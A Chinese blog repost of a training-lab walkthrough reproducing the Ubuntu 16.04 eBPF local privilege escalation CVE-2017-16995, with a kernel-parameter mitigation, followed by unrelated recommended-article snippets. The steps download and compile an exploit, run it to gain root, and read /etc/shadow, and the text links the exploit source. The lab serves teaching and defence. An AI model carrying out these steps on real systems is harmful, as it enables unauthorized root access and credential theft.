CVE-2017-16995 漏洞利用-程序员宅基地

技术标签: shell  运维  操作系统  

Ubuntu本地提权(CVE-2017-16995)漏洞复现

在 ichunqiu 看到的环境(https://www.ichunqiu.com/course/61487),觉得有意思就记录一下。

实验环境
  • 操作机:Kali Linux

  • IP:172.16.11.2

  • 目标IP:172.16.12.2

  • 目标账号密码:ichunqiu

  • 工具下载地址:http://file.ichunqiu.com/r36f8pnp/

实验目的
  • 了解Ubuntu本地提权漏洞的危害

  • 验证本地提权漏洞

  • 知晓Ubuntu本地提权漏洞的缓解修复

实验工具
  • upstream44.c: 实验中本地提权EXP的源文件,需编译后执行
实验内容

漏洞概述

近日,有网友发布消息:ubuntu 最新版本(Ubuntu 16.04)存在高危的本地提权漏洞,漏洞编号为CVE-2017-16995。该漏洞存在于调用eBPF bpf(2)的Linux内核系统中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题, 低权限用户可使用此漏洞获得管理权限。

该漏洞在老版本中已经得到修复,然而最新版本中任可被利用,官方暂未发布相关补丁,漏洞处于0day状态。

影响范围

经i春秋安全研究员测试 Ubuntu 16.04.1~16.04.4 均存在此漏洞

实验步骤
第1步 漏洞验证

打开Kali终端,输入wget http://file.ichunqiu.com/r36f8pnp/upstream44.c下载实验文件到当前目录

使用sftp,将实验文件上传到目标机上(一般情况下提权文件由shell上传,此次不做为重点介绍)

命令为 sftp [email protected],密码:ichunqiu,上传命令:put upstream44.c

 

ichunqiu是一个测试的普通权限用户

接着,我们使用ssh登录目标机器的ichunqiu用户

 

接下来开始编译该文件,编译命令:gcc -o upstream44 upstream44.c

得到可执行文件upstream44

最后,执行刚刚编译后的文件,成功提升至root权限

我们再来 cat /etc/shadow一下,现在可以看见内容了

 

 

第2步 漏洞缓解

虽然官网暂时未发布补丁升级方案,但是可以通过修改内核参数来限制普通用户使用bpf(2)系统调用的方式以规避风险。

修改命令如下

echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled

我们运行该命令后,再切换至普通用户执行EXP查看效果

可以看见报错:error: Operation not permitted,操作不被允许

 
 EXP: http://cyseclabs.com/exploits/upstream44.c
实验结果分析与总结

通过本次实验,我们复现了此漏洞的场景,并给出了缓解漏洞影响的方法,希望同学们能够了解漏洞,更要知道如何缓解漏洞,及时做好安全修复的准备!

 

 

 

任重而道远!

 

转载于:https://www.cnblogs.com/Oran9e/p/8647860.html

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_30522095/article/details/94925926

智能推荐

c语言中大括号怎么垂直下移,vs 中大括号之间垂直虚线显示-程序员宅基地

文章浏览阅读346次。51CTO博客开发在使用的时候,发现其两个问题setEnable并么有什么卵用关于onFling的设置,只滑动一张,在一个页面显示有多个海报,也是没有什么卵用对于FancyCoverFlow,虽然封装很好但都是基于gallery的,然onFling并卵。五、架构实践前边用了三篇文章,详细介绍了这个架构的各个部分的选择以及安装。这篇文章,我会用一个Demo项目,从开发到部署,包括MongoDB数据的..._c#大括号匹怎么自动向下

mac 系统使用brew安装nginx error_brew nginx err 256-程序员宅基地

文章浏览阅读653次。安装ruby on rails一直报Unable to download data from https://rubygems.org/的解决方案_brew nginx err 256

java 语音合成并生成wav文件_java 语音合成把txt文本内容转为wav格式-程序员宅基地

文章浏览阅读1.9k次。1.下载jacob文件,根据自己操作系统,将jacob-1.18-x64.dll文件复制到C:/windows/System32文件夹中下载链接: https://pan.baidu.com/s/1mimoaBeFhzVMsGOLzsvpBw 提取码: wsfz2.pom.xml引入依赖<!--文字转语音--><dependency> <..._java 语音合成把txt文本内容转为wav格式

__attribute__ directives in Objective-C_redundant call to 'printf()-程序员宅基地

文章浏览阅读802次。转自:https://blog.twitter.com/2014/attribute-directives-in-objective-cIn this post, we’ll examine what __attribute__ directives are and how they can be used in development. The goal is t_redundant call to 'printf()

js 小案例 跑马灯效果_js走马灯效果-程序员宅基地

文章浏览阅读2.1k次。俗话说:‘能用css解决的动画,绝不用js来实现’下面是利用 css中的 animation 实现跑马灯效果这个我采了坑 ,to {left:1500px},这里的距离是所有图片的宽度(不包含无缝复制的哈) 我一直设置的是container 一屏的宽度,一直不流畅。所以在此纪录下。<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <met.._js走马灯效果

ios swift string和charecters互转 int string 和 bytes [UInt8]互转_swift byte[]转string-程序员宅基地

文章浏览阅读345次。文章目录1.string和charecters互转2.int string to bytes [UInt8]1.string和charecters互转Strings and Characters - swift.org2.int string to bytes [UInt8] //str = "456" func intStringToBytes(str: String) -> [UInt8]{ var bytes: [UInt8] = [] _swift byte[]转string

随便推点

mysql 5.6建立数据库连接时出错_WordPress定期出现“建立数据库连接时出错”问题的解决方案...-程序员宅基地

文章浏览阅读202次。文章目录[隐藏]起因论证解决方案操作步骤先贴阿里云服务器的配置:这是一个困扰我很久的问题,之前不管是搭在CentOS还是Ubuntu上,Wordpress都会定期出现“建立数据库连接时错误”,最近一周更是每天早上网站都无法访问。通过 netstat -tunlp 发现是MySQL的进程被干掉了,service mysqld restart 还重启不了,简单粗暴点就直接reboot。不过每天早上起床..._mysql5.6 wordpress数据库连接

7-5 服务器统一出错处理2_rpcx recover 统一处理-程序员宅基地

文章浏览阅读294次。代码:https://github.com/NIGHTFIGHTING/go_learning/tree/master/src/errhandling/filelistingserver运行:go run web.go打开chrome:http://localhost:8888/li,此时server并没有挂掉原因:panic运行defer遇见recover修改版本1:..._rpcx recover 统一处理

solr学习(六):使用自定义int/long类型主键-程序员宅基地

文章浏览阅读2.7k次。需求分析:我不想使用solr默认的主键id,我想换成其他的,比如我的文章id为article_id,我想让article_id作为主键。而且,我的主键是int类型,而solr的主键默认是string类型,我们还需要修改,修改后,还会报错,我们还需要来解决报错问题。实践:第一步:我们需要打开C:\data\solr\collection1\conf\schema.xml然后我..._solr字段类型为intpointfieid,存储数据超过9位保存失败

Android Studio Bumblebee | 2021.1.1 Patch 2 修复BUG_org.gradle.api.gradlescriptexception: a problem oc-程序员宅基地

文章浏览阅读2.3w次,点赞3次,收藏4次。一般修复和功能此更新解决了以下问题:Android Gradle 插件 问题 #213534628:Android Gradle 插件 7.1.0-rc01 在单元测试期间无法执行 ASM 字节码转换 问题 #210484302:Android Studio 2021.1.1 beta5。Gradle 同步失败并显示“无法加载类 'com.android.build.api.extension.AndroidComponentsExtension'”。 问题 #19_org.gradle.api.gradlescriptexception: a problem occurred evaluating project

用python的赋值方法,交换两个数字(变量)的值_python从键盘输入两个整数,赋值个a和b两个变量。然后交换两个变量的值-程序员宅基地

文章浏览阅读1.7k次。用python的专有方法,交换两个数字(变量)的值两个整数变量 a = 100 ,b = 6,在不使用其他变量的情况下交换他们的值解法:1>>> a = 6>>> b = 100>>> a,b = (b,a)>>> print(a,b)100 62>>> a = 6>>&g..._python从键盘输入两个整数,赋值个a和b两个变量。然后交换两个变量的值

java咖啡机源代码_CoffeeMachine JAVA咖啡机,大学项目。实现投币、加水 糖等一系列模拟 自动运行的过程。有动 Develop 238万源代码下载- www.pudn.com...-程序员宅基地

文章浏览阅读305次。文件名称: CoffeeMachine下载 收藏√ [5 4 3 2 1]开发工具: Java文件大小: 1944 KB上传时间: 2014-11-27下载次数: 1详细说明:JAVA咖啡机,大学项目。实现投币、加水、加糖等一系列模拟咖啡机自动运行的过程。有动画有声音。-JAVA coffee maker, university projects. Realization coin..._2号咖啡机实验代码